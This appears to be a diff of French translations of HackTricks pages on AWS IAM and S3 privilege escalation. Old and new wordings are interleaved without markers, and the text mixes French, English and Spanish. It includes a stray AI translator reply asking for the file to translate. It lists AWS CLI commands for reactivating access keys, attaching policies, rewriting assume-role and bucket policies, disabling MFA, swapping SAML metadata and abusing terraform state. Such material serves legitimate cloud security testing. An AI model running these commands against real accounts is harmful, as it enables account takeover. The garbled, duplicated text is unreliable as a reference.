**Impact :** Escalade de privilèges directe en se connectant en tant que n'importe quel utilisateur.
**Impact :** Escalade directe des privilèges en se connectant en tant qu'utilisateur "n'importe quel".
### **`iam:UpdateAccessKey`**
Permet d'activer une clé d'accès désactivée, ce qui peut conduire à un accès non autorisé si l'attaquant possède la clé désactivée.
Permet d'activer une access key désactivée, ce qui peut conduire à un accès non autorisé si l'attaquant possède cette access key.
**Exploit :**
**Exploitation :**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impact :** Escalade de privilèges directe en réactivant des access keys.
**Impact :** Escalade directe de privilèges en réactivant des access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Permet de générer ou de réinitialiser des credentials pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), héritant des permissions de l'utilisateur associé.
Permet de générer ou de réinitialiser des credentials pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), en héritant des permissions de l'utilisateur associé.
**Exploit for Creation:**
```bash
@@ -79,31 +79,31 @@ aws iam create-service-specific-credential --user-name <username> --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impact :** Escalade directe des privilèges au sein des permissions de service de l'utilisateur.
**Impact:** Escalade de privilèges directe au sein des permissions de service de l'utilisateur.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Permet d'attacher des policies à des users ou des groups, permettant une escalade directe des privilèges en héritant des permissions de la policy attachée.
Permet d'attacher des policies aux utilisateurs ou groupes, escaladant directement les privilèges en héritant des permissions de la policy attachée.
**Exploit for User:**
**Exploit pour l'utilisateur :**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit pour le groupe:**
**Exploit pour le groupe :**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impact :** Escalade de privilèges directe vers tout ce que la stratégie accorde.
**Impact:** Élévation directe de privilèges vers tout ce que la policy accorde.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Permet d'attacher ou d'ajouter des politiques à des rôles, utilisateurs ou groupes, permettant une escalade de privilèges directe en accordant des autorisations supplémentaires.
Permet d'attacher ou d'ajouter des policies à des roles, users ou groups, autorisant une élévation directe de privilèges en accordant des permissions supplémentaires.
**Exploit pour rôle :**
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit pour les politiques inline :**
**Exploit pour les Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Veuillez fournir le contenu du fichier src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md à traduire. Je traduirai en français en conservant exactement la syntaxe markdown/HTML et en respectant les éléments à ne pas traduire (code, noms de services, liens, chemins, tags, etc.).
Vous pouvez utiliser une politique comme :
```json
{
"Version": "2012-10-17",
@@ -127,28 +127,28 @@ Veuillez fournir le contenu du fichier src/pentesting-cloud/aws-security/aws-pri
]
}
```
**Impact :** Escalade directe des privilèges en ajoutant des autorisations via des politiques.
**Impact:** Direct privilege escalation en ajoutant des permissions via des policies.
### **`iam:AddUserToGroup`**
Permet de s'ajouter soi-même à un groupe IAM, augmentant les privilèges en héritant des autorisations du groupe.
Permet de s'ajouter à un groupe IAM, escalating privileges en héritant des permissions du groupe.
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impact:** Escalade directe des privilèges au niveau des permissions du groupe.
**Impact:** Escalade de privilèges directe au niveau des autorisations du groupe.
### **`iam:UpdateAssumeRolePolicy`**
Permet de modifier le assume role policy document d'un rôle, permettant d'assumer ce rôle et les permissions qui y sont associées.
Permet de modifier le document de stratégie assume role d'un rôle, permettant d'assumer ce rôle et ses autorisations associées.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :
Lorsque la stratégie ressemble à ce qui suit, ce qui donne à l'utilisateur l'autorisation d'assumer le rôle :
```json
{
"Version": "2012-10-17",
@@ -163,38 +163,38 @@ Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la
]
}
```
**Impact:** Escalade de privilèges directe en assumant les permissions de n'importe quel rôle.
**Impact :** Élévation de privilèges directe en assumant les permissions de n'importe quel rôle.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Permet de téléverser une clé publique SSH pour s'authentifier auprès de CodeCommit et de désactiver des appareils MFA, ce qui peut conduire à une escalade de privilèges indirecte.
Permet de téléverser une clé publique SSH pour s'authentifier sur CodeCommit et de désactiver des dispositifs MFA, conduisant à une possible élévation de privilèges indirecte.
**Exploit for SSH Key Upload:**
**Exploit pour le téléversement de la clé SSH :**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit pour la désactivation du MFA :**
**Exploit pour la désactivation MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impact :** Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.
**Impact:** Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.
### **`iam:ResyncMFADevice`**
Permet de resynchroniser un appareil MFA, ce qui peut conduire à une escalade de privilèges indirecte en manipulant la protection MFA.
Permet la resynchronisation d'un appareil MFA, ce qui peut entraîner une escalade de privilèges indirecte en manipulant la protection MFA.
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact :** Escalade de privilèges indirecte en ajoutant ou en manipulant des appareils MFA.
**Impact :** Escalade de privilèges indirecte en ajoutant ou en manipulant des dispositifs MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **login** avec n'importe quel **role qui lui fait confiance**.
Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **vous connecter** avec n'importe quel **rôle qui lui fait confiance**.
Notez qu'en faisant cela, **les utilisateurs légitimes ne pourront pas login**. Cependant, vous pourriez obtenir le XML, y mettre le vôtre, login et restaurer la configuration précédente.
Notez que si vous faites cela **les utilisateurs légitimes ne pourront pas se connecter**. Cependant, vous pouvez obtenir le XML, le remplacer par le vôtre, vous connecter et ensuite restaurer la configuration précédente.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Un outil capable de générer les métadonnées SAML et de se connecter avec un rôle spécifié
> TODO: Un outil capable de générer les SAML metadata et de se connecter avec un rôle spécifié
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Incertain à ce sujet) Si un attaquant possède ces **permissions** il pourrait ajouter un nouveau **Thumbprint** et ainsi réussir à se connecter à tous les rôles faisant confiance au provider.
(Incertain à ce sujet) Si un attaquant dispose de ces **permissions**, il pourrait ajouter un nouveau **Thumbprint** pour réussir à se connecter à tous les roles faisant confiance au provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Cette permission permet à un attaquant de mettre à jour le permissions boundary d'un utilisateur, escaladant potentiellement ses privilèges en lui permettant d'effectuer des actions normalement restreintes par ses permissions existantes.
Cette permission permet à un attacker de mettre à jour le permissions boundary d'un utilisateur, ce qui peut potentiellement augmenter ses privileges en lui permettant d'effectuer des actions normalement restreintes par ses permissions existantes.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -249,7 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Un acteur disposant de iam:PutRolePermissionsBoundary peut définir une limite de permissions sur un rôle existant. Le risque apparaît lorsqu'une personne disposant de cette autorisation modifie la limite d'un rôle : elle peut restreindre de manière inappropriée des opérations (provoquant une perturbation du service) ou, si elle associe une limite permissive, étendre effectivement ce que le rôle peut faire et obtenir une élévation de privilèges.
Un acteur disposant de iam:PutRolePermissionsBoundary peut définir une limite de permissions (permissions boundary) sur un rôle existant. Le risque survient lorsqu'une personne ayant cette permission modifie la boundary d'un rôle : elle peut restreindre indûment des opérations (provoquant une interruption de service) ou, si elle attache une boundary permissive, étendre effectivement ce que le rôle peut faire et escalader les privilèges.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \

39
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
View File

@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
Un attaquant disposant de ces permissions sur des buckets intéressants pourrait détourner des ressources et escalader des privilèges.
Un attaquant disposant de ces permissions sur des buckets intéressants pourrait être capable de hijack resources et escalate privileges.
Par exemple, un attaquant avec ces **permissions sur un cloudformation bucket** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être donné avec la policy suivante:
Par exemple, un attaquant disposant de ces **permissions sur un bucket cloudformation** nommé "cf-templates-nohnwfax6a6i-us-east-1" pourra hijack the deployment. L'accès peut être donné avec la policy suivante:
```json
{
"Version": "2012-10-17",
@@ -34,28 +34,27 @@ Par exemple, un attaquant avec ces **permissions sur un cloudformation bucket**
]
}
```
And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
Et le détournement est possible car il existe une **petite fenêtre temporelle entre le moment où le template est uploadé** dans le bucket et le moment où le **template est déployé**. Un attaquant peut simplement créer une **lambda function** dans son compte qui **se déclenche lorsqu'une notification de bucket est envoyée**, et **détourne** le **contenu** de ce **bucket**.
![](<../../../images/image (174).png>)
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
Le module Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) peut être utilisé pour automatiser cette attaque.
Pour plus d'informations, consultez la recherche originale : [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
Ce sont les permissions pour **récupérer et uploader des objets sur S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour conserver des **fichiers de configuration**.\
Un attaquant ayant **un accès en lecture** à ces fichiers pourrait y trouver des **informations sensibles**.\
Un attaquant ayant **un accès en écriture** pourrait **modifier les données pour abuser d'un service et tenter d'escalader les privilèges**.\
Ce sont les permissions pour **récupérer et uploader des objets dans S3**. Plusieurs services au sein d'AWS (et en dehors) utilisent le stockage S3 pour conserver des **fichiers de configuration**.
Un attaquant avec un **accès en lecture** peut y trouver des **informations sensibles**.
Un attaquant avec un **accès en écriture** peut **modifier les données pour abuser d'un service et tenter d'escalader des privilèges**.
Voici quelques exemples :
- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
- Si une instance EC2 stocke les **données utilisateur dans un S3 bucket**, un attaquant pourrait les modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
Il est très courant que les fichiers d'état de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient sauvegardés dans le blob storage des fournisseurs cloud, par ex. AWS S3. Le suffixe de fichier pour un state file est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des terraform state files. En général, chaque compte AWS possède un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte.
Aussi, dans des comptes réels, presque toujours tous les développeurs ont `s3:*` et parfois même des utilisateurs métiers ont `s3:Put*`.
Il est très courant que les fichiers d'état de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient sauvegardés dans le blob storage des fournisseurs cloud, par exemple AWS S3. Le suffixe d'un fichier d'état est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. Habituellement, chaque compte AWS possède un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte. De plus, dans des comptes réels, presque toujours tous les développeurs ont `s3:*` et parfois même des utilisateurs métiers ont `s3:Put*`.
Donc, si vous avez les permissions listées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir RCE dans le pipeline avec les privilèges de `terraform` — la plupart du temps `AdministratorAccess`, vous faisant administrateur du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque de déni de service en forçant `terraform` à supprimer des ressources légitimes.
Ainsi, si vous avez les permissions listées sur ces fichiers, il existe un vecteur d'attaque qui permet d'obtenir une RCE dans la pipeline avec les privilèges de `terraform` — la plupart du temps `AdministratorAccess` — ce qui fait de vous l'administrateur du compte cloud. Vous pouvez aussi utiliser ce vecteur pour effectuer une attaque de déni de service en forçant `terraform` à supprimer des ressources légitimes.
Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
@@ -65,7 +64,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te
### `s3:PutBucketPolicy`
An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
Un attaquant, qui doit être **du même compte** (sinon l'erreur `The specified method is not allowed` sera déclenchée), avec cette permission pourra s'accorder davantage de droits sur le(s) bucket(s), lui permettant de lire, écrire, modifier, supprimer et exposer les buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
Un attaquant pourrait abuser de ces permissions pour **s'octroyer davantage d'accès** sur des buckets spécifiques.\
Notez que l'attaquant n'a pas besoin d'appartenir au même compte. Moreover the write access
Un attacker pourrait abuser de ces autorisations pour **grant him more access** sur des buckets spécifiques.\
Notez que l'attacker n'a pas besoin d'être du même account. De plus, le write access
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
@@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
Un attaquant pourrait abuser de ces permissions pour s'accorder davantage d'accès sur des objets spécifiques à l'intérieur des buckets.
Un attacker pourrait abuser de ces permissions pour s'octroyer un accès accru à des objects spécifiques dans des buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
@@ -178,18 +177,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
Un attaquant disposant de ces privilèges devrait pouvoir mettre un Acl sur une version spécifique d'un objet.
Un attaquant disposant de ces privilèges devrait pouvoir appliquer un Acl à une version spécifique d'un objet.
```bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
```
### `s3:PutBucketCORS`
Un attaquant disposant de la permission s3:PutBucketCORS peut modifier la configuration CORS (Cross-Origin Resource Sharing) d'un bucket, ce qui contrôle quels domaines web peuvent accéder à ses endpoints.
Un attaquant disposant de la permission s3:PutBucketCORS peut modifier la configuration CORS (Cross-Origin Resource Sharing) d'un bucket, qui contrôle quels domaines web peuvent accéder à ses endpoints. S'ils définissent une politique permissive, n'importe quel site web pourrait effectuer des requêtes directes vers le bucket et lire les réponses depuis un navigateur.
S'ils définissent une politique permissive, n'importe quel site web pourrait effectuer des requêtes directes vers le bucket et lire les réponses depuis un navigateur.
Cela signifie que, potentiellement, si un utilisateur authentifié d'une web app hébergée depuis le bucket visite le site de l'attaquant, celui-ci pourrait exploiter la politique CORS permissive et, selon l'application, accéder aux données de profil de l'utilisateur voire détourner son compte.
Cela signifie que, potentiellement, si un utilisateur authentifié d'une application web hébergée depuis le bucket visite le site de l'attaquant, ce dernier pourrait exploiter la politique CORS permissive et, selon l'application, accéder aux données de profil de l'utilisateur voire détourner son compte.
```bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \

34
src/pentesting-cloud/aws-security/aws-services/README.md
View File

@@ -2,37 +2,31 @@
{{#include ../../../banners/hacktricks-training.md}}
## Types de services
## Types of services
### Services de conteneurs
### Services conteneurisés
Les services qui relèvent des services de conteneurs ont les caractéristiques suivantes :
Les services de type conteneur présentent les caractéristiques suivantes :
- Le service lui-même s'exécute sur **des instances d'infrastructure séparées**, telles que EC2.
- **AWS** est responsable de **la gestion du système d'exploitation et de la plateforme**.
- Un service managé est fourni par AWS, qui est généralement le service lui‑même pour **l'application réelle qui est vue comme des conteneurs**.
- En tant qu'utilisateur de ces services de conteneurs, vous avez un certain nombre de responsabilités en matière de gestion et de sécurité, notamment **la gestion de la sécurité d'accès réseau, comme les règles des network access control list et tout pare‑feu**.
- De même, la gestion des identités et des accès au niveau de la plateforme lorsqu'elle existe.
- **Exemples** de services de conteneurs AWS incluent Relational Database Service, Elastic Mapreduce, et Elastic Beanstalk.
- Le service s'exécute lui-même sur des **instances d'infrastructure séparées**, comme EC2.
- **AWS** est responsable de la **gestion du système d'exploitation et de la plateforme**.
- AWS fournit un service géré, qui correspond typiquement au service lui‑même pour l'**application réelle considérée comme des conteneurs**.
- En tant qu'utilisateur de ces services conteneurisés, vous avez plusieurs responsabilités de gestion et de sécurité, notamment **la gestion de la sécurité d'accès réseau, comme network access control list rules et tout pare-feu**.
- Également, la gestion des identités et des accès au niveau de la plateforme lorsqu'elle existe.
- **Exemples** de services conteneurs AWS incluent Relational Database Service, Elastic Mapreduce, et Elastic Beanstalk.
### Services abstraits
- Ces services sont **retirés, abstraits, de la couche plateforme ou gestion sur laquelle les applications cloud sont construites**.
- Ces services sont **retirés, abstraits, de la couche plateforme ou de gestion sur laquelle les applications cloud sont construites**.
- Les services sont accessibles via des endpoints en utilisant les interfaces de programmation d'applications AWS, APIs.
- **L'infrastructure sous‑jacente, le système d'exploitation et la plateforme sont gérés par AWS**.
- Les services abstraits fournissent une plateforme multi‑tenant sur laquelle l'infrastructure sous‑jacente est partagée.
- L'**infrastructure sous-jacente, le système d'exploitation et la plateforme sont gérés par AWS**.
- Les services abstraits fournissent une plateforme multi-tenant sur laquelle l'infrastructure sous-jacente est partagée.
- **Les données sont isolées via des mécanismes de sécurité**.
- Les services abstraits ont une forte intégration avec IAM, et **exemples** de services abstraits incluent S3, DynamoDB, Amazon Glacier, et SQS.
- Les services abstraits ont une forte intégration avec IAM, et les **exemples** de services abstraits incluent S3, DynamoDB, Amazon Glacier, et SQS.
## Énumération des services
**Les pages de cette section sont ordonnées par service AWS. Vous y trouverez des informations sur le service (son fonctionnement et ses capacités) et cela vous permettra de escalate privileges.**
**Les pages de cette section sont ordonnées par service AWS. Vous y trouverez des informations sur le service (comment il fonctionne et ses capacités) qui vous permettront d'escalader les privilèges.**
### Articles liés : sécurité Amazon Bedrock
{{#ref}}
aws-bedrock-agents-memory-poisoning.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}